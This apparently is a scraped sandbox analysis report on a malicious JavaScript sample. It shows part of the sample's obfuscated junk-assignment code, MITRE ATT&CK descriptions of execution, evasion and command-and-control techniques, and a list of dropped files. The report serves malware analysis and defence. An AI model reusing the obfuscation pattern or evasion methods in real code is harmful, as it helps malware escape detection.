1444	aiqvf = "n";
1445	aiqvf = "R";
1446	aiqvf = "w";
1447	aiqvf = "P";
1448	aiqvf = "A";
1449	aiqvf = "v";
1450	qjsvxydgh = "s";
1451	qjsvxydgh = "l";
1452	qjsvxydgh = "C";
1453	qjsvxydgh = "q";
1454	qjsvxydgh = "P";
1455	qjsvxydgh = "C";
1456	qjsvxydgh = "V";
1457	qjsvxydgh = "g";
1458	qjsvxydgh = "Y";
1459	qjsvxydgh = "Y";
1460	qjsvxydgh = "w";
1461	qjsvxydgh = "I";
1462	qjsvxydgh = "r";
1463	qjsvxydgh = "b";
1464	qjsvxydgh = "a";
1465	qjsvxydgh = "f";
1466	qjsvxydgh = "H";
1467	qjsvxydgh = "T";
1468	qjsvxydgh = "v";
1469	qjsvxydgh = "d";
1470	qjsvxydgh = "Y";
1471	qjsvxydgh = "l";
1472	qjsvxydgh = "b";
1473	qjsvxydgh = "o";
1474	qjsvxydgh = "q";
1475	qjsvxydgh = "U";
1476	qjsvxydgh = "Z";
1477	qjsvxydgh = "r";
1478	qjsvxydgh = "e";
1479	qjsvxydgh = "W";
1480	qjsvxydgh = "s";
1481	qjsvxydgh = "H";
1482	qjsvxydgh = "u";
1483	qjsvxydgh = "S";
1484	qjsvxydgh = "q";
1485	qjsvxydgh = "J";
1486	qjsvxydgh = "o";
1487	qjsvxydgh = "D";
1488	qjsvxydgh = "I";
1489	qjsvxydgh = "I";
1490	oksdnojql ( );	oksdnojql() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1110167182254330320.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\74f82bf8-8f26-4554-996f-af682c6bf17f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
1110167182254330320.js